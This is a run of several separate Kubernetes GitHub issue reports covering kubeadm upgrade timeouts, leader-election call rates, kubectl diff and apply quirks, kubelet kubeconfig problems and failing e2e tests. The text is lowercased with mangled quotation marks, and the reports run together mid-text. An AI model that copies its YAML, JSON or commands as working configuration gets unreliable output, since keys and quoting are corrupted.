kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r  upgrade/apply  fatal: couldn't upgrade control plane. kubeadm has tried to recover everything into the earlier state. errors faced:  timed out waiting for the condition \r    \r \r 2. downloaded kubeadm 1.10.4, ran  kubeadm upgrade apply v1.10.3  and it also failed for the same error\r \r 3. downloaded kubeadm 1.10.4, ran  kubeadm upgrade apply v1.10.4  and it worked\r \r    \r   ./kubeadm upgrade apply v1.10.4\r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  upgrade/version  you have chosen to change the cluster version to \ v1.10.4\ \r  upgrade/versions  cluster version: v1.10.4\r  upgrade/versions  kubeadm version: v1.10.4\r  upgrade/confirm  are you sure you want to proceed with the upgrade?  y/n : y\r  upgrade/prepull  will prepull images for components  kube-apiserver kube-controller-manager kube-scheduler \r  upgrade/apply  upgrading your static pod-hosted control plane to version \ v1.10.4\ ...\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 6e28f5286b4500dce36318679dc66eda\r static pod: kube-controller-manager-ip-10-0-1-80.ec2.internal hash: c02b7c2666fdcf9979ba6d38dc0cddd1\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: 5179266fb24d4c1834814c4f69486371\r  upgrade/staticpods  writing new static pod manifests to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests746663772\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests746663772/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests746663772/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests746663772/kube-scheduler.yaml\ \r  certificates  using the existing etcd/ca certificate and key.\r  certificates  using the existing apiserver-etcd-client certificate and key.\r  upgrade/staticpods  moved new manifest to \ /etc/kubernetes/manifests/kube-apiserver.yaml\  and backed up old manifest to \ /etc/kubernetes/tmp/kubeadm-backup-manifests756116235/kube-apiserver.yaml\ \r  upgrade/staticpods  waiting for the kubelet to restart the component\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 6e28f5286b4500dce36318679dc66eda\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 6e28f5286b4500dce36318679dc66eda\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 0f33b03119e9da6e1ce3cc2d54169192\r  apiclient  found 1 pods for label selector component=kube-apiserver\r  upgrade/staticpods  component \ kube-apiserver\  upgraded successfully!\r  upgrade/staticpods  moved new manifest to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\  and backed up old manifest to \ /etc/kubernetes/tmp/kubeadm-backup-manifests756116235/kube-controller-manager.yaml\ \r  upgrade/staticpods  waiting for the kubelet to restart the component\r static pod: kube-controller-manager-ip-10-0-1-80.ec2.internal hash: c02b7c2666fdcf9979ba6d38dc0cddd1\r static pod: kube-controller-manager-ip-10-0-1-80.ec2.internal hash: 931e7689088354f0f0f836370aefdbb9\r  apiclient  found 1 pods for label selector component=kube-controller-manager\r  upgrade/staticpods  component \ kube-controller-manager\  upgraded successfully!\r  upgrade/staticpods  moved new manifest to \ /etc/kubernetes/manifests/kube-scheduler.yaml\  and backed up old manifest to \ /etc/kubernetes/tmp/kubeadm-backup-manifests756116235/kube-scheduler.yaml\ \r  upgrade/staticpods  waiting for the kubelet to restart the component\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: 5179266fb24d4c1834814c4f69486371\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: a45cd09c7a02c8a7e64580248df4b50d\r  apiclient  found 1 pods for label selector component=kube-scheduler\r  upgrade/staticpods  component \ kube-scheduler\  upgraded successfully!\r  uploadconfig  storing the configuration used in configmap \ kubeadm-config\  in the \ kube-system\  namespace\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  addons  applied essential addon: kube-dns\r  addons  applied essential addon: kube-proxy\r \r  upgrade/successful  success! your cluster was upgraded to \ v1.10.4\ . enjoy!\r \r  upgrade/kubelet  now that your control plane is upgraded, please proceed with upgrading your kubelets in turn.\r    \r \r 4. downloaded kubeadm 1.10.4, after a successful run of  kubeadm upgrade apply v1.10.4 , consequent running of  kubeadm upgrade apply v1.10.3  always worked. \r \r   what you expected to happen  :\r \r i expected 1 and 2 to work. 1 is an upgrade to its current version using a current version of  kubeadm . 2 is an upgrade to its current version using a next version of  kubeadm . 4 is weird that after a successful upgrade to the next version, consequent upgrade to its current version always work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r \r    \r linux ip-10-0-5-160 4.4.0-1061-aws  70-ubuntu smp fri may 25 21:47:34 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r >  \r \r   what happened  :\r \r after https://github.com/kubernetes/kubernetes/commit/102090d1f12f9b00571d440470ba040e0632fbe0 diff-b6938a5b251dfe543ced1b918d9fb244r213 merged, the leader election is calling too many api calls.\r \r previously it calls with a 2s interval by default. now it calls with 0 interval.\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r i have a file  myfile.yml  which contains something like this – minimal working example:  note the namespace \r \r    yml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx\r   namespace: kube-system\r   labels:\r     app: nginx\r spec:\r   template:\r     metadata:\r       labels:\r         name: nginx\r     spec:\r       dnspolicy: default\r       containers:\r         - image: nginx:latest\r           name: nginx\r    \r \r after successfully deploying this to a cluster, running \r \r    shellsession\r $ kubectl alpha diff -f myfile.yml last local\r    \r \r shows the entire file as a diff, as if i had never deployed the deployment:\r \r    diff\r diff -u -n /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/last-540113411/nginx /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/local-145015686/nginx\r --- /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/last-540113411/nginx\t2018-11-09 14:08:49.000000000 +1100\r +++ /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/local-145015686/nginx\t2018-11-09 14:08:49.000000000 +1100\r @@ -0,0 +1,17 @@\r +apiversion: extensions/v1beta1\r +kind: deployment\r +metadata:\r +  labels:\r +    app: nginx\r +  name: nginx\r +spec:\r +  template:\r +    metadata:\r +      labels:\r +        name: nginx\r +    spec:\r +      containers:\r +      - image: nginx:latest\r +        name: nginx\r +      dnspolicy: default\r    \r \r however, if i specify the namespace on the cli things are different  and closer to what i expect :\r \r    shellsession\r $ kubectl alpha diff -n kube-system -f myfile.yml last local\r    \r    diff\r diff -u -n /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/last-238279227/nginx /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/local-902844510/nginx\r --- /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/last-238279227/nginx\t2018-11-09 14:10:42.000000000 +1100\r +++ /var/folders/wz/9znz2f_12538yqt5cwht1mn40000gn/t/local-902844510/nginx\t2018-11-09 14:10:42.000000000 +1100\r @@ -1,11 +1,9 @@\r  apiversion: extensions/v1beta1\r  kind: deployment\r  metadata:\r -  annotations: {}\r    labels:\r      app: nginx\r    name: nginx\r -  namespace: kube-system\r  spec:\r    template:\r      metadata:\r    \r \r   what you expected to happen  :\r \r i would expect the diff to be empty, because the deployment is live on the cluster.  then, if i add something to the file, such as an annotation, i would want just that diff to show up.  specifically, there's weirdness around the namespace: it's not read from my local yml file, only when i specify it on the cli.  also note the empty  annotations  hash, but that's not as serious an issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    json\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:39:38z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: kubernetes manually deployed on aws  but this doesn't seem relevant \r - os  e.g. from /etc/os-release : client is macos 10.13.6, server is ubuntu 18.04.1 lts\r - kernel  e.g.  uname -a  : linux ip-x-x-x-x 4.15.0-1023-aws  23-ubuntu smp mon sep 24 16:31:06 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r 

what happened  :\r \r i ran \ kubectl apply -f clusterrole.yaml\  two consecutive times as given in the example for  aggregated cluster roles  https://kubernetes.io/docs/reference/access-authn-authz/rbac/ aggregated-clusterroles .  this results in the rules list being truncated on the second invocation of \ kubectl apply\  instead of a noop.\r \r clusterrole.yaml\r    yaml\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: monitoring\r aggregationrule:\r   clusterroleselectors:\r   - matchlabels:\r       kubernetes.io/cluster-service: \ true\ \r rules:      rules are automatically filled in by the controller manager.\r    \r \r if i try to remove the 'rules' list, the openapi validation fails:\r \r    console\r $ kubectl apply -f clusterrole-norules.yaml \r error: error validating \ clusterrole-norules.yaml\ : error validating data: validationerror clusterrole : missing required field \ rules\  in io.k8s.api.rbac.v1.clusterrole; if you choose to ignore these errors, turn validation off with --validate=false\r $ cat clusterrole-norules.yaml \r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: monitoring\r aggregationrule:\r   clusterroleselectors:\r   - matchlabels:\r       kubernetes.io/cluster-service: \ true\ \r    \r \r   what you expected to happen  :\r \r i expected to be able to run \ kubectl apply\  without removing the controller populated fields.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    console\r kubectl apply -f clusterrole.yaml   as given above\r \r   in another console\r kubectl get clusterrole -w monitoring -oyaml\r \r   in first console\r kubectl apply -f clusterrole.yaml\r    \r note that the clusterrole is updated to remove the rules list then promptly returns to the correct state.  this should be a noop since there's no change in intent here.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    console\r $ kubectl version \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.6-gke.2\ , gitcommit:\ 04ad69a117f331df6272a343b5d8f9e2aee5ab0c\ , gittreestate:\ clean\ , builddate:\ 2019-01-04t16:19:46z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r gke 1.11

notice this when debug https://github.com/kubernetes/kubernetes/issues/24188 issuecomment-211227204  we only have \ latencies_summary\  for etcd request, i'd suggest add \ latencies_bucket\  also. @lavalamp @wojtek-t

@kubernetes/sig-storage  our current tests in pd.go are lacking a way to exercise both large streaming writes  as if to a log file  and  big data movement in general. also once we add these larger writes we should delete pods while they are writing both gracefully and ungracefully.

follow-up item from the esipp feature from tim.  it would be nice to have a way to read the list of services with active health checks on kube-proxy...add a new endpoint to the existing rest monitoring interface to read these, along with the nodeport used for each. and maybe stats about keepalives received and responded successful/unsuccessful.

relates to  this bit of code  https://github.com/kubernetes/kubernetes/blob/8fd414537b5143ab039cb910590237cabf4af783/pkg/probe/http/http.go l57 .\r \r basically in some cases we want to expect a specific status code. the use-case is a  service  fronting an ha system that returns 307 responses if its not the currently elected master. using  readinessprobe  we want to build a service that only sends traffic to the master.\r \r currently 307 responses are considered a success, which makes this impossible.\r \r the way it could be implemented is with a simple  expectedstatus  field in  httpget .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?  \r kubelet kubeconfig\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3+coreos.0\ , gitcommit:\ 7819c84f25e8c661321ee80d6b9fa5f4ff06676f\ , gittreestate:\ clean\ , builddate:\ 2016-10-17t21:19:17z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3+coreos.0\ , gitcommit:\ 7819c84f25e8c661321ee80d6b9fa5f4ff06676f\ , gittreestate:\ clean\ , builddate:\ 2016-10-17t21:19:17z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : ubuntu xenial 16.04\r -   kernel    e.g.  uname -a  : linux node1 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  : kargo  ansible-based \r -   others  :\r \r \r   what happened  :\r --api-servers option is deprecated for kubelet, so i am now trying to deploy with simply using --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml\r \r the error in kubelet log is:\r    w1114 12:00:28.684692   31989 server.go:383  no api client: no api servers specified   \r \r   what you expected to happen  :\r kubelet should start and register itself to my kube apiserver\r \r   how to reproduce it    as minimally and precisely as possible :\r execution call:\r  hyperkube kubelet --v=2 --address=10.90.0.2 --hostname-override=node1 --allow-privileged=true --cluster_dns=10.233.0.2 --cluster_domain=cluster.local --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml --pod-manifest-path=/etc/kubernetes/manifests --resolv-conf=/etc/resolv.conf --pod-infra-container-image=gcr.io/google_containers/pause-amd64:3.0 --network-plugin=cni --network-plugin-dir=/etc/cni/net.d \r \r kubeconfig:\r    apiversion: v1\r kind: config\r clusters:\r - name: local\r   cluster:\r     certificate-authority: /etc/kubernetes/ssl/ca.pem\r     server: https://node1:443\r users:\r - name: kubelet\r   user:\r     client-certificate: /etc/kubernetes/ssl/node.pem\r     client-key: /etc/kubernetes/ssl/node-key.pem\r contexts:\r - context:\r     cluster: local\r     user: kubelet\r   name: kubelet-cluster.local\r current-context: kubelet-cluster.local\r    \r \r \r   anything else do we need to know  :\r kubelet works fine with --api-servers specified, but not when reading the server field in kubeconfig. the results are the same when trying to connect to http or https-based apiserver.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-release-1.6/19/ multiple broken tests:  failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:337 mar  7 05:42:21.938: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:301       failed:  k8s.io  kubelet  k8s.io  clean up pods on node kubelet should be able to delete 10 pods per node in 1m0s. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet.go:374 expected error:     < errors.errorstring | 0xc421544fa0>: {         s: \ only 43 pods started out of 50\ ,     }     only 43 pods started out of 50 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet.go:346     issues about this test specifically:  28106  35197  37482   failed:  k8s.io  projected should be consumable from pods in volume with mappings  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:56 wait for pod \ pod-projected-secrets-28416f3e-0339-11e7-b6ba-0242ac11000a\  to disappear expected success, but got an error:     < errors.errorstring | 0xc420451ad0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146       failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:52 expected error:     < errors.errorstring | 0xc420416d80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  33631  33995  34970   failed:  k8s.io  dns should provide dns for externalname services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:512 expected error:     < errors.errorstring | 0xc4203d81b0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:276     issues about this test specifically:  32584   failed:  k8s.io  projected should be consumable from pods in volume with defaultmode set  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:392 wait for pod \ pod-projected-configmaps-45234fee-0338-11e7-b3d7-0242ac11000a\  to disappear expected success, but got an error:     < errors.errorstring | 0xc420430c20>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146       failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should allow template updates {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:198 mar  7 05:43:33.387: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:301       failed:  k8s.io  replicaset should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:81 expected error:     < errors.errorstring | 0xc420415a60>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:154     issues about this test specifically:  30981   failed:  k8s.io  job should run a job to completion when tasks succeed {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:48 expected error:     < errors.errorstring | 0xc4203d8e40>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:47     issues about this test specifically:  31938   failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:128 mar  7 05:43:28.092: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:301       failed:  k8s.io  deployment iterative rollouts should eventually progress {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:103 expected error:     < errors.errorstring | 0xc420e59f00>: {         s: \ error waiting for deployment \\\ nginx\\\  status to match expectation: deployment status: v1beta1.deploymentstatus{observedgeneration:17, replicas:5, updatedreplicas:5, readyreplicas:4, availablereplicas:4, unavailablereplicas:1, conditions:  v1beta1.deploymentcondition{v1beta1.deploymentcondition{type:\\\ available\\\ , status:\\\ true\\\ , lastupdatetime:v1.time{time:time.time{sec:63624490644, nsec:183421024, loc:  time.location  0x4db9a20 }}, lasttransitiontime:v1.time{time:time.time{sec:63624490644, nsec:183421185, loc:  time.location  0x4db9a20 }}, reason:\\\ minimumreplicasavailable\\\ , message:\\\ deployment has minimum availability.\\\ }, v1beta1.deploymentcondition{type:\\\ progressing\\\ , status:\\\ true\\\ , lastupdatetime:v1.time{time:time.time{sec:63624490648, nsec:498956047, loc:  time.location  0x4db9a20 }}, lasttransitiontime:v1.time{time:time.time{sec:63624490608, nsec:566553752, loc:  time.location  